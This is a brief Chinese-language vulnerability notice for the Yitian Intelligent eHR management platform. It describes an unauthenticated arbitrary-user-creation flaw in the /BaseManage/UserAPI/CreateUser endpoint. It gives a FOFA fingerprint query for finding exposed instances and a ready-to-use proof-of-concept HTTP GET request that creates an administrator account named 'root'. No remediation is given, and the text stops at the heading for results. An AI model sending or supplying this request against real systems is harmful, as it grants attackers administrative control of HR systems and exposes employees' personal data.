漏洞描述
易天智能eHR管理平台 /BaseManage/UserAPI/CreateUser 接口存在任意用户添加漏洞，未经身份验证的远程攻击者可以利用此漏洞添加任意管理员用户，导致攻击者可直接管理后台，造成信息泄露，使系统处于极不安全的状态。
漏洞复现
FOFA
body="易天智能eHR管理平台"POC
GET /BaseManage/UserAPI/CreateUser?Account=root&Password=123456&OuterID=testtestt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate, br
Connection: keep-alive结果
